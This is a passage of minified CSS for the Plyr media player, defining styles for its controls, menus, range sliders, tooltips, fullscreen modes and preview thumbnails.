svg{display:block;fill:currentColor;height:18px;height:var(--plyr-control-icon-size,18px);pointer-events:none;width:18px;width:var(--plyr-control-icon-size,18px)}.plyr__control:focus{outline:0}.plyr__control.plyr__tab-focus{outline-color:#00b3ff;outline-color:var(--plyr-tab-focus-color,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));outline-offset:2px;outline-style:dotted;outline-width:3px}a.plyr__control{text-decoration:none}.plyr__control.plyr__control--pressed .icon--not-pressed,.plyr__control.plyr__control--pressed .label--not-pressed,.plyr__control:not(.plyr__control--pressed) .icon--pressed,.plyr__control:not(.plyr__control--pressed) .label--pressed,a.plyr__control:after,a.plyr__control:before{display:none}.plyr--full-ui ::-webkit-media-controls{display:none}.plyr__controls{align-items:center;display:flex;justify-content:flex-end;text-align:center}.plyr__controls .plyr__progress__container{flex:1 1;min-width:0}.plyr__controls .plyr__controls__item{margin-left:2.5px;margin-left:calc(var(--plyr-control-spacing,10px)/4)}.plyr__controls .plyr__controls__item:first-child{margin-left:0;margin-right:auto}.plyr__controls .plyr__controls__item.plyr__progress__container{padding-left:2.5px;padding-left:calc(var(--plyr-control-spacing,10px)/4)}.plyr__controls .plyr__controls__item.plyr__time{padding:0 5px;padding:0 calc(var(--plyr-control-spacing,10px)/2)}.plyr__controls .plyr__controls__item.plyr__progress__container:first-child,.plyr__controls .plyr__controls__item.plyr__time+.plyr__time,.plyr__controls .plyr__controls__item.plyr__time:first-child{padding-left:0}.plyr [data-plyr=airplay],.plyr [data-plyr=captions],.plyr [data-plyr=fullscreen],.plyr [data-plyr=pip],.plyr__controls:empty{display:none}.plyr--airplay-supported [data-plyr=airplay],.plyr--captions-enabled [data-plyr=captions],.plyr--fullscreen-enabled [data-plyr=fullscreen],.plyr--pip-supported [data-plyr=pip]{display:inline-block}.plyr__menu{display:flex;position:relative}.plyr__menu .plyr__control svg{transition:transform .3s ease}.plyr__menu .plyr__control[aria-expanded=true] svg{transform:rotate(90deg)}.plyr__menu .plyr__control[aria-expanded=true] .plyr__tooltip{display:none}.plyr__menu__container{animation:plyr-popup .2s ease;background:hsla(0,0%,100%,.9);background:var(--plyr-menu-background,hsla(0,0%,100%,.9));border-radius:4px;bottom:100%;box-shadow:0 1px 2px rgba(0,0,0,.15);box-shadow:var(--plyr-menu-shadow,0 1px 2px rgba(0,0,0,.15));color:#4a5464;color:var(--plyr-menu-color,#4a5464);font-size:15px;font-size:var(--plyr-font-size-base,15px);margin-bottom:10px;position:absolute;right:-3px;text-align:left;white-space:nowrap;z-index:3}.plyr__menu__container>div{overflow:hidden;transition:height .35s cubic-bezier(.4,0,.2,1),width .35s cubic-bezier(.4,0,.2,1)}.plyr__menu__container:after{border:4px solid transparent;border-top:var(--plyr-menu-arrow-size,4px) solid var(--plyr-menu-background,hsla(0,0%,100%,.9));border:var(--plyr-menu-arrow-size,4px) solid transparent;border-top-color:hsla(0,0%,100%,.9);content:"";height:0;position:absolute;right:14px;right:calc(var(--plyr-control-icon-size,18px)/2 + var(--plyr-control-spacing,10px)*0.7 - var(--plyr-menu-arrow-size,4px)/2);top:100%;width:0}.plyr__menu__container [role=menu]{padding:7px;padding:calc(var(--plyr-control-spacing,10px)*0.7)}.plyr__menu__container [role=menuitem],.plyr__menu__container [role=menuitemradio]{margin-top:2px}.plyr__menu__container [role=menuitem]:first-child,.plyr__menu__container [role=menuitemradio]:first-child{margin-top:0}.plyr__menu__container .plyr__control{align-items:center;color:#4a5464;color:var(--plyr-menu-color,#4a5464);display:flex;font-size:13px;font-size:var(--plyr-font-size-menu,var(--plyr-font-size-small,13px));padding:4.66667px 10.5px;padding:calc(var(--plyr-control-spacing,10px)*0.7/1.5) calc(var(--plyr-control-spacing,10px)*0.7*1.5);-webkit-user-select:none;-ms-user-select:none;user-select:none;width:100%}.plyr__menu__container .plyr__control>span{align-items:inherit;display:flex;width:100%}.plyr__menu__container .plyr__control:after{border:4px solid transparent;border:var(--plyr-menu-item-arrow-size,4px) solid transparent;content:"";position:absolute;top:50%;transform:translateY(-50%)}.plyr__menu__container .plyr__control--forward{padding-right:28px;padding-right:calc(var(--plyr-control-spacing,10px)*0.7*4)}.plyr__menu__container .plyr__control--forward:after{border-left-color:#728197;border-left-color:var(--plyr-menu-arrow-color,#728197);right:6.5px;right:calc(var(--plyr-control-spacing,10px)*0.7*1.5 - var(--plyr-menu-item-arrow-size,4px))}.plyr__menu__container .plyr__control--forward.plyr__tab-focus:after,.plyr__menu__container .plyr__control--forward:hover:after{border-left-color:currentColor}.plyr__menu__container .plyr__control--back{font-weight:400;font-weight:var(--plyr-font-weight-regular,400);margin:7px;margin:calc(var(--plyr-control-spacing,10px)*0.7);margin-bottom:3.5px;margin-bottom:calc(var(--plyr-control-spacing,10px)*0.7/2);padding-left:28px;padding-left:calc(var(--plyr-control-spacing,10px)*0.7*4);position:relative;width:calc(100% - 14px);width:calc(100% - var(--plyr-control-spacing,10px)*0.7*2)}.plyr__menu__container .plyr__control--back:after{border-right-color:#728197;border-right-color:var(--plyr-menu-arrow-color,#728197);left:6.5px;left:calc(var(--plyr-control-spacing,10px)*0.7*1.5 - var(--plyr-menu-item-arrow-size,4px))}.plyr__menu__container .plyr__control--back:before{background:#dcdfe5;background:var(--plyr-menu-back-border-color,#dcdfe5);box-shadow:0 1px 0 #fff;box-shadow:0 1px 0 var(--plyr-menu-back-border-shadow-color,#fff);content:"";height:1px;left:0;margin-top:3.5px;margin-top:calc(var(--plyr-control-spacing,10px)*0.7/2);overflow:hidden;position:absolute;right:0;top:100%}.plyr__menu__container .plyr__control--back.plyr__tab-focus:after,.plyr__menu__container .plyr__control--back:hover:after{border-right-color:currentColor}.plyr__menu__container .plyr__control[role=menuitemradio]{padding-left:7px;padding-left:calc(var(--plyr-control-spacing,10px)*0.7)}.plyr__menu__container .plyr__control[role=menuitemradio]:after,.plyr__menu__container .plyr__control[role=menuitemradio]:before{border-radius:100%}.plyr__menu__container .plyr__control[role=menuitemradio]:before{background:rgba(0,0,0,.1);content:"";display:block;flex-shrink:0;height:16px;margin-right:10px;margin-right:var(--plyr-control-spacing,10px);transition:all .3s ease;width:16px}.plyr__menu__container .plyr__control[role=menuitemradio]:after{background:#fff;border:0;height:6px;left:12px;opacity:0;top:50%;transform:translateY(-50%) scale(0);transition:transform .3s ease,opacity .3s ease;width:6px}.plyr__menu__container .plyr__control[role=menuitemradio][aria-checked=true]:before{background:#00b3ff;background:var(--plyr-control-toggle-checked-background,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)))}.plyr__menu__container .plyr__control[role=menuitemradio][aria-checked=true]:after{opacity:1;transform:translateY(-50%) scale(1)}.plyr__menu__container .plyr__control[role=menuitemradio].plyr__tab-focus:before,.plyr__menu__container .plyr__control[role=menuitemradio]:hover:before{background:rgba(35,40,47,.1)}.plyr__menu__container .plyr__menu__value{align-items:center;display:flex;margin-left:auto;margin-right:calc(-7px - -2);margin-right:calc(var(--plyr-control-spacing,10px)*0.7*-1 - -2);overflow:hidden;padding-left:24.5px;padding-left:calc(var(--plyr-control-spacing,10px)*0.7*3.5);pointer-events:none}.plyr--full-ui input[type=range]{-webkit-appearance:none;background:0 0;border:0;border-radius:26px;border-radius:calc(var(--plyr-range-thumb-height,13px)*2);color:#00b3ff;color:var(--plyr-range-fill-background,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));display:block;height:19px;height:calc(var(--plyr-range-thumb-active-shadow-width,3px)*2 + var(--plyr-range-thumb-height,13px));margin:0;min-width:0;padding:0;transition:box-shadow .3s ease;width:100%}.plyr--full-ui input[type=range]::-webkit-slider-runnable-track{background:0 0;border:0;border-radius:2.5px;border-radius:calc(var(--plyr-range-track-height,5px)/2);height:5px;height:var(--plyr-range-track-height,5px);-webkit-transition:box-shadow .3s ease;transition:box-shadow .3s ease;-webkit-user-select:none;user-select:none;background-image:linear-gradient(90deg,currentColor 0,transparent 0);background-image:linear-gradient(90deg,currentColor var(--value,0),transparent var(--value,0))}.plyr--full-ui input[type=range]::-webkit-slider-thumb{background:#fff;background:var(--plyr-range-thumb-background,#fff);border:0;border-radius:100%;box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2));height:13px;height:var(--plyr-range-thumb-height,13px);position:relative;-webkit-transition:all .2s ease;transition:all .2s ease;width:13px;width:var(--plyr-range-thumb-height,13px);-webkit-appearance:none;margin-top:-4px;margin-top:calc(var(--plyr-range-thumb-height,13px)/2*-1 - var(--plyr-range-track-height,5px)/2*-1)}.plyr--full-ui input[type=range]::-moz-range-track{background:0 0;border:0;border-radius:2.5px;border-radius:calc(var(--plyr-range-track-height,5px)/2);height:5px;height:var(--plyr-range-track-height,5px);-moz-transition:box-shadow .3s ease;transition:box-shadow .3s ease;user-select:none}.plyr--full-ui input[type=range]::-moz-range-thumb{background:#fff;background:var(--plyr-range-thumb-background,#fff);border:0;border-radius:100%;box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2));height:13px;height:var(--plyr-range-thumb-height,13px);position:relative;-moz-transition:all .2s ease;transition:all .2s ease;width:13px;width:var(--plyr-range-thumb-height,13px)}.plyr--full-ui input[type=range]::-moz-range-progress{background:currentColor;border-radius:2.5px;border-radius:calc(var(--plyr-range-track-height,5px)/2);height:5px;height:var(--plyr-range-track-height,5px)}.plyr--full-ui input[type=range]::-ms-track{color:transparent}.plyr--full-ui input[type=range]::-ms-fill-upper,.plyr--full-ui input[type=range]::-ms-track{background:0 0;border:0;border-radius:2.5px;border-radius:calc(var(--plyr-range-track-height,5px)/2);height:5px;height:var(--plyr-range-track-height,5px);-ms-transition:box-shadow .3s ease;transition:box-shadow .3s ease;-ms-user-select:none;user-select:none}.plyr--full-ui input[type=range]::-ms-fill-lower{background:0 0;border:0;border-radius:2.5px;border-radius:calc(var(--plyr-range-track-height,5px)/2);height:5px;height:var(--plyr-range-track-height,5px);-ms-transition:box-shadow .3s ease;transition:box-shadow .3s ease;-ms-user-select:none;user-select:none;background:currentColor}.plyr--full-ui input[type=range]::-ms-thumb{background:#fff;background:var(--plyr-range-thumb-background,#fff);border:0;border-radius:100%;box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2));height:13px;height:var(--plyr-range-thumb-height,13px);position:relative;-ms-transition:all .2s ease;transition:all .2s ease;width:13px;width:var(--plyr-range-thumb-height,13px);margin-top:0}.plyr--full-ui input[type=range]::-ms-tooltip{display:none}.plyr--full-ui input[type=range]:focus{outline:0}.plyr--full-ui input[type=range]::-moz-focus-outer{border:0}.plyr--full-ui input[type=range].plyr__tab-focus::-webkit-slider-runnable-track{outline-color:#00b3ff;outline-color:var(--plyr-tab-focus-color,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));outline-offset:2px;outline-style:dotted;outline-width:3px}.plyr--full-ui input[type=range].plyr__tab-focus::-moz-range-track{outline-color:#00b3ff;outline-color:var(--plyr-tab-focus-color,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));outline-offset:2px;outline-style:dotted;outline-width:3px}.plyr--full-ui input[type=range].plyr__tab-focus::-ms-track{outline-color:#00b3ff;outline-color:var(--plyr-tab-focus-color,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));outline-offset:2px;outline-style:dotted;outline-width:3px}.plyr__poster{background-color:#000;background-position:50% 50%;background-repeat:no-repeat;background-size:contain;height:100%;left:0;opacity:0;position:absolute;top:0;transition:opacity .2s ease;width:100%;z-index:1}.plyr--stopped.plyr__poster-enabled .plyr__poster{opacity:1}.plyr__time{font-size:13px;font-size:var(--plyr-font-size-time,var(--plyr-font-size-small,13px))}.plyr__time+.plyr__time:before{content:"\2044";margin-right:10px;margin-right:var(--plyr-control-spacing,10px)}@media (max-width:calc(768px - 1px)){.plyr__time+.plyr__time{display:none}}.plyr__tooltip{background:hsla(0,0%,100%,.9);background:var(--plyr-tooltip-background,hsla(0,0%,100%,.9));border-radius:3px;border-radius:var(--plyr-tooltip-radius,3px);bottom:100%;box-shadow:0 1px 2px rgba(0,0,0,.15);box-shadow:var(--plyr-tooltip-shadow,0 1px 2px rgba(0,0,0,.15));color:#4a5464;color:var(--plyr-tooltip-color,#4a5464);font-size:13px;font-size:var(--plyr-font-size-small,13px);font-weight:400;font-weight:var(--plyr-font-weight-regular,400);left:50%;line-height:1.3;margin-bottom:10px;margin-bottom:calc(var(--plyr-control-spacing,10px)/2*2);opacity:0;padding:5px 7.5px;padding:calc(var(--plyr-control-spacing,10px)/2) calc(var(--plyr-control-spacing,10px)/2*1.5);pointer-events:none;position:absolute;transform:translate(-50%,10px) scale(.8);transform-origin:50% 100%;transition:transform .2s ease .1s,opacity .2s ease .1s;white-space:nowrap;z-index:2}.plyr__tooltip:before{border-left:4px solid transparent;border-left:var(--plyr-tooltip-arrow-size,4px) solid transparent;border-right:4px solid transparent;border-right:var(--plyr-tooltip-arrow-size,4px) solid transparent;border-top:4px solid hsla(0,0%,100%,.9);border-top:var(--plyr-tooltip-arrow-size,4px) solid var(--plyr-tooltip-background,hsla(0,0%,100%,.9));bottom:-4px;bottom:calc(var(--plyr-tooltip-arrow-size,4px)*-1);content:"";height:0;left:50%;position:absolute;transform:translateX(-50%);width:0;z-index:2}.plyr .plyr__control.plyr__tab-focus .plyr__tooltip,.plyr .plyr__control:hover .plyr__tooltip,.plyr__tooltip--visible{opacity:1;transform:translate(-50%) scale(1)}.plyr .plyr__control:hover .plyr__tooltip{z-index:3}.plyr__controls>.plyr__control:first-child+.plyr__control .plyr__tooltip,.plyr__controls>.plyr__control:first-child .plyr__tooltip{left:0;transform:translateY(10px) scale(.8);transform-origin:0 100%}.plyr__controls>.plyr__control:first-child+.plyr__control .plyr__tooltip:before,.plyr__controls>.plyr__control:first-child .plyr__tooltip:before{left:16px;left:calc(var(--plyr-control-icon-size,18px)/2 + var(--plyr-control-spacing,10px)*0.7)}.plyr__controls>.plyr__control:last-child .plyr__tooltip{left:auto;right:0;transform:translateY(10px) scale(.8);transform-origin:100% 100%}.plyr__controls>.plyr__control:last-child .plyr__tooltip:before{left:auto;right:16px;right:calc(var(--plyr-control-icon-size,18px)/2 + var(--plyr-control-spacing,10px)*0.7);transform:translateX(50%)}.plyr__controls>.plyr__control:first-child+.plyr__control.plyr__tab-focus .plyr__tooltip,.plyr__controls>.plyr__control:first-child+.plyr__control .plyr__tooltip--visible,.plyr__controls>.plyr__control:first-child+.plyr__control:hover .plyr__tooltip,.plyr__controls>.plyr__control:first-child.plyr__tab-focus .plyr__tooltip,.plyr__controls>.plyr__control:first-child .plyr__tooltip--visible,.plyr__controls>.plyr__control:first-child:hover .plyr__tooltip,.plyr__controls>.plyr__control:last-child.plyr__tab-focus .plyr__tooltip,.plyr__controls>.plyr__control:last-child .plyr__tooltip--visible,.plyr__controls>.plyr__control:last-child:hover .plyr__tooltip{transform:translate(0) scale(1)}.plyr__progress{left:6.5px;left:calc(var(--plyr-range-thumb-height,13px)*0.5);margin-right:13px;margin-right:var(--plyr-range-thumb-height,13px);position:relative}.plyr__progress__buffer,.plyr__progress input[type=range]{margin-left:-6.5px;margin-left:calc(var(--plyr-range-thumb-height,13px)*-0.5);margin-right:-6.5px;margin-right:calc(var(--plyr-range-thumb-height,13px)*-0.5);width:calc(100% + 13px);width:calc(100% + var(--plyr-range-thumb-height,13px))}.plyr__progress input[type=range]{position:relative;z-index:2}.plyr__progress .plyr__tooltip{font-size:13px;font-size:var(--plyr-font-size-time,var(--plyr-font-size-small,13px));left:0}.plyr__progress__buffer{-webkit-appearance:none;background:0 0;border:0;border-radius:100px;height:5px;height:var(--plyr-range-track-height,5px);left:0;margin-top:-2.5px;margin-top:calc(var(--plyr-range-track-height,5px)/2*-1);padding:0;position:absolute;top:50%}.plyr__progress__buffer::-webkit-progress-bar{background:0 0}.plyr__progress__buffer::-webkit-progress-value{background:currentColor;border-radius:100px;min-width:5px;min-width:var(--plyr-range-track-height,5px);-webkit-transition:width .2s ease;transition:width .2s ease}.plyr__progress__buffer::-moz-progress-bar{background:currentColor;border-radius:100px;min-width:5px;min-width:var(--plyr-range-track-height,5px);-moz-transition:width .2s ease;transition:width .2s ease}.plyr__progress__buffer::-ms-fill{border-radius:100px;-ms-transition:width .2s ease;transition:width .2s ease}.plyr--loading .plyr__progress__buffer{animation:plyr-progress 1s linear infinite;background-image:linear-gradient(-45deg,rgba(35,40,47,.6) 25%,transparent 0,transparent 50%,rgba(35,40,47,.6) 0,rgba(35,40,47,.6) 75%,transparent 0,transparent);background-image:linear-gradient(-45deg,var(--plyr-progress-loading-background,rgba(35,40,47,.6)) 25%,transparent 0,transparent 50%,var(--plyr-progress-loading-background,rgba(35,40,47,.6)) 0,var(--plyr-progress-loading-background,rgba(35,40,47,.6)) 75%,transparent 0,transparent);background-repeat:repeat-x;background-size:25px 25px;background-size:var(--plyr-progress-loading-size,25px) var(--plyr-progress-loading-size,25px);color:transparent}.plyr--video.plyr--loading .plyr__progress__buffer{background-color:hsla(0,0%,100%,.25);background-color:var(--plyr-video-progress-buffered-background,hsla(0,0%,100%,.25))}.plyr--audio.plyr--loading .plyr__progress__buffer{background-color:rgba(193,200,209,.6);background-color:var(--plyr-audio-progress-buffered-background,rgba(193,200,209,.6))}.plyr__volume{align-items:center;display:flex;max-width:110px;min-width:80px;position:relative;width:20%}.plyr__volume input[type=range]{margin-left:5px;margin-left:calc(var(--plyr-control-spacing,10px)/2);margin-right:5px;margin-right:calc(var(--plyr-control-spacing,10px)/2);position:relative;z-index:2}.plyr--is-ios .plyr__volume{min-width:0;width:auto}.plyr--audio{display:block}.plyr--audio .plyr__controls{background:#fff;background:var(--plyr-audio-controls-background,#fff);border-radius:inherit;color:#4a5464;color:var(--plyr-audio-control-color,#4a5464);padding:10px;padding:var(--plyr-control-spacing,10px)}.plyr--audio .plyr__control.plyr__tab-focus,.plyr--audio .plyr__control:hover,.plyr--audio .plyr__control[aria-expanded=true]{background:#00b3ff;background:var(--plyr-audio-control-background-hover,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));color:#fff;color:var(--plyr-audio-control-color-hover,#fff)}.plyr--full-ui.plyr--audio input[type=range]::-webkit-slider-runnable-track{background-color:rgba(193,200,209,.6);background-color:var(--plyr-audio-range-track-background,var(--plyr-audio-progress-buffered-background,rgba(193,200,209,.6)))}.plyr--full-ui.plyr--audio input[type=range]::-moz-range-track{background-color:rgba(193,200,209,.6);background-color:var(--plyr-audio-range-track-background,var(--plyr-audio-progress-buffered-background,rgba(193,200,209,.6)))}.plyr--full-ui.plyr--audio input[type=range]::-ms-track{background-color:rgba(193,200,209,.6);background-color:var(--plyr-audio-range-track-background,var(--plyr-audio-progress-buffered-background,rgba(193,200,209,.6)))}.plyr--full-ui.plyr--audio input[type=range]:active::-webkit-slider-thumb{box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2),0 0 0 3px rgba(35,40,47,.1);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2)),0 0 0 var(--plyr-range-thumb-active-shadow-width,3px) var(--plyr-audio-range-thumb-active-shadow-color,rgba(35,40,47,.1))}.plyr--full-ui.plyr--audio input[type=range]:active::-moz-range-thumb{box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2),0 0 0 3px rgba(35,40,47,.1);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2)),0 0 0 var(--plyr-range-thumb-active-shadow-width,3px) var(--plyr-audio-range-thumb-active-shadow-color,rgba(35,40,47,.1))}.plyr--full-ui.plyr--audio input[type=range]:active::-ms-thumb{box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2),0 0 0 3px rgba(35,40,47,.1);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2)),0 0 0 var(--plyr-range-thumb-active-shadow-width,3px) var(--plyr-audio-range-thumb-active-shadow-color,rgba(35,40,47,.1))}.plyr--audio .plyr__progress__buffer{color:rgba(193,200,209,.6);color:var(--plyr-audio-progress-buffered-background,rgba(193,200,209,.6))}.plyr--video{background:#000;overflow:hidden}.plyr--video.plyr--menu-open{overflow:visible}.plyr__video-wrapper{background:#000;height:100%;margin:auto;overflow:hidden;position:relative;width:100%}.plyr__video-embed,.plyr__video-wrapper--fixed-ratio{height:0;padding-bottom:56.25%}.plyr__video-embed iframe,.plyr__video-wrapper--fixed-ratio video{border:0;left:0;position:absolute;top:0}.plyr--full-ui .plyr__video-embed>.plyr__video-embed__container{padding-bottom:240%;position:relative;transform:translateY(-38.28125%)}.plyr--video .plyr__controls{background:linear-gradient(transparent,rgba(0,0,0,.75));background:var(--plyr-video-controls-background,linear-gradient(transparent,rgba(0,0,0,.75)));border-bottom-left-radius:inherit;border-bottom-right-radius:inherit;bottom:0;color:#fff;color:var(--plyr-video-control-color,#fff);left:0;padding:5px;padding:calc(var(--plyr-control-spacing,10px)/2);padding-top:20px;padding-top:calc(var(--plyr-control-spacing,10px)*2);position:absolute;right:0;transition:opacity .4s ease-in-out,transform .4s ease-in-out;z-index:3}@media (min-width:480px){.plyr--video .plyr__controls{padding:10px;padding:var(--plyr-control-spacing,10px);padding-top:35px;padding-top:calc(var(--plyr-control-spacing,10px)*3.5)}}.plyr--video.plyr--hide-controls .plyr__controls{opacity:0;pointer-events:none;transform:translateY(100%)}.plyr--video .plyr__control.plyr__tab-focus,.plyr--video .plyr__control:hover,.plyr--video .plyr__control[aria-expanded=true]{background:#00b3ff;background:var(--plyr-video-control-background-hover,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));color:#fff;color:var(--plyr-video-control-color-hover,#fff)}.plyr__control--overlaid{background:#00b3ff;background:var(--plyr-video-control-background-hover,var(--plyr-color-main,var(--plyr-color-main,#00b3ff)));border:0;border-radius:100%;color:#fff;color:var(--plyr-video-control-color,#fff);display:none;left:50%;opacity:.9;padding:15px;padding:calc(var(--plyr-control-spacing,10px)*1.5);position:absolute;top:50%;transform:translate(-50%,-50%);transition:.3s;z-index:2}.plyr__control--overlaid svg{left:2px;position:relative}.plyr__control--overlaid:focus,.plyr__control--overlaid:hover{opacity:1}.plyr--playing .plyr__control--overlaid{opacity:0;visibility:hidden}.plyr--full-ui.plyr--video .plyr__control--overlaid{display:block}.plyr--full-ui.plyr--video input[type=range]::-webkit-slider-runnable-track{background-color:hsla(0,0%,100%,.25);background-color:var(--plyr-video-range-track-background,var(--plyr-video-progress-buffered-background,hsla(0,0%,100%,.25)))}.plyr--full-ui.plyr--video input[type=range]::-moz-range-track{background-color:hsla(0,0%,100%,.25);background-color:var(--plyr-video-range-track-background,var(--plyr-video-progress-buffered-background,hsla(0,0%,100%,.25)))}.plyr--full-ui.plyr--video input[type=range]::-ms-track{background-color:hsla(0,0%,100%,.25);background-color:var(--plyr-video-range-track-background,var(--plyr-video-progress-buffered-background,hsla(0,0%,100%,.25)))}.plyr--full-ui.plyr--video input[type=range]:active::-webkit-slider-thumb{box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2),0 0 0 3px hsla(0,0%,100%,.5);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2)),0 0 0 var(--plyr-range-thumb-active-shadow-width,3px) var(--plyr-audio-range-thumb-active-shadow-color,hsla(0,0%,100%,.5))}.plyr--full-ui.plyr--video input[type=range]:active::-moz-range-thumb{box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2),0 0 0 3px hsla(0,0%,100%,.5);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2)),0 0 0 var(--plyr-range-thumb-active-shadow-width,3px) var(--plyr-audio-range-thumb-active-shadow-color,hsla(0,0%,100%,.5))}.plyr--full-ui.plyr--video input[type=range]:active::-ms-thumb{box-shadow:0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2),0 0 0 3px hsla(0,0%,100%,.5);box-shadow:var(--plyr-range-thumb-shadow,0 1px 1px rgba(35,40,47,.15),0 0 0 1px rgba(35,40,47,.2)),0 0 0 var(--plyr-range-thumb-active-shadow-width,3px) var(--plyr-audio-range-thumb-active-shadow-color,hsla(0,0%,100%,.5))}.plyr--video .plyr__progress__buffer{color:hsla(0,0%,100%,.25);color:var(--plyr-video-progress-buffered-background,hsla(0,0%,100%,.25))}.plyr:fullscreen{background:#000;border-radius:0!important;height:100%;margin:0;width:100%}.plyr:fullscreen video{height:100%}.plyr:fullscreen .plyr__video-wrapper{height:100%;position:static}.plyr:fullscreen.plyr--vimeo .plyr__video-wrapper{height:0;position:relative}.plyr:fullscreen .plyr__control .icon--exit-fullscreen{display:block}.plyr:fullscreen .plyr__control .icon--exit-fullscreen+svg{display:none}.plyr:fullscreen.plyr--hide-controls{cursor:none}@media (min-width:1024px){.plyr:-webkit-full-screen .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}.plyr:-ms-fullscreen .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}.plyr:fullscreen .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}}.plyr:-webkit-full-screen{background:#000;border-radius:0!important;height:100%;margin:0;width:100%}.plyr:-webkit-full-screen video{height:100%}.plyr:-webkit-full-screen .plyr__video-wrapper{height:100%;position:static}.plyr:-webkit-full-screen.plyr--vimeo .plyr__video-wrapper{height:0;position:relative}.plyr:-webkit-full-screen .plyr__control .icon--exit-fullscreen{display:block}.plyr:-webkit-full-screen .plyr__control .icon--exit-fullscreen+svg{display:none}.plyr:-webkit-full-screen.plyr--hide-controls{cursor:none}@media (min-width:1024px){.plyr:-webkit-full-screen .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}}.plyr:-moz-full-screen{background:#000;border-radius:0!important;height:100%;margin:0;width:100%}.plyr:-moz-full-screen video{height:100%}.plyr:-moz-full-screen .plyr__video-wrapper{height:100%;position:static}.plyr:-moz-full-screen.plyr--vimeo .plyr__video-wrapper{height:0;position:relative}.plyr:-moz-full-screen .plyr__control .icon--exit-fullscreen{display:block}.plyr:-moz-full-screen .plyr__control .icon--exit-fullscreen+svg{display:none}.plyr:-moz-full-screen.plyr--hide-controls{cursor:none}@media (min-width:1024px){.plyr:-moz-full-screen .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}}.plyr:-ms-fullscreen{background:#000;border-radius:0!important;height:100%;margin:0;width:100%}.plyr:-ms-fullscreen video{height:100%}.plyr:-ms-fullscreen .plyr__video-wrapper{height:100%;position:static}.plyr:-ms-fullscreen.plyr--vimeo .plyr__video-wrapper{height:0;position:relative}.plyr:-ms-fullscreen .plyr__control .icon--exit-fullscreen{display:block}.plyr:-ms-fullscreen .plyr__control .icon--exit-fullscreen+svg{display:none}.plyr:-ms-fullscreen.plyr--hide-controls{cursor:none}@media (min-width:1024px){.plyr:-ms-fullscreen .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}}.plyr--fullscreen-fallback{background:#000;border-radius:0!important;height:100%;margin:0;width:100%;bottom:0;display:block;left:0;position:fixed;right:0;top:0;z-index:10000000}.plyr--fullscreen-fallback video{height:100%}.plyr--fullscreen-fallback .plyr__video-wrapper{height:100%;position:static}.plyr--fullscreen-fallback.plyr--vimeo .plyr__video-wrapper{height:0;position:relative}.plyr--fullscreen-fallback .plyr__control .icon--exit-fullscreen{display:block}.plyr--fullscreen-fallback .plyr__control .icon--exit-fullscreen+svg{display:none}.plyr--fullscreen-fallback.plyr--hide-controls{cursor:none}@media (min-width:1024px){.plyr--fullscreen-fallback .plyr__captions{font-size:21px;font-size:var(--plyr-font-size-xlarge,21px)}}.plyr__ads{border-radius:inherit;bottom:0;cursor:pointer;left:0;overflow:hidden;position:absolute;right:0;top:0;z-index:-1}.plyr__ads>div,.plyr__ads>div iframe{height:100%;position:absolute;width:100%}.plyr__ads:after{background:#23282f;border-radius:2px;bottom:10px;bottom:var(--plyr-control-spacing,10px);color:#fff;content:attr(data-badge-text);font-size:11px;padding:2px 6px;pointer-events:none;position:absolute;right:10px;right:var(--plyr-control-spacing,10px);z-index:3}.plyr__ads:after:empty{display:none}.plyr__cues{background:currentColor;display:block;height:5px;height:var(--plyr-range-track-height,5px);left:0;margin:-var(--plyr-range-track-height,5px)/2 0 0;opacity:.8;position:absolute;top:50%;width:3px;z-index:3}.plyr__preview-thumb{background-color:hsla(0,0%,100%,.9);background-color:var(--plyr-tooltip-background,hsla(0,0%,100%,.9));border-radius:3px;bottom:100%;box-shadow:0 1px 2px rgba(0,0,0,.15);box-shadow:var(--plyr-tooltip-shadow,0 1px 2px rgba(0,0,0,.15));margin-bottom:10px;margin-bottom:calc(var(--plyr-control-spacing,10px)/2*2);opacity:0;padding:3px;padding:var(--plyr-tooltip-radius,3px);pointer-events:none;position:absolute;transform:translateY(10px) scale(.8);transform-origin:50% 100%;transition:transform .2s ease .1s,opacity .2s ease .1s;z-index:2}.plyr__preview-thumb--is-shown{opacity:1;transform:translate(0) 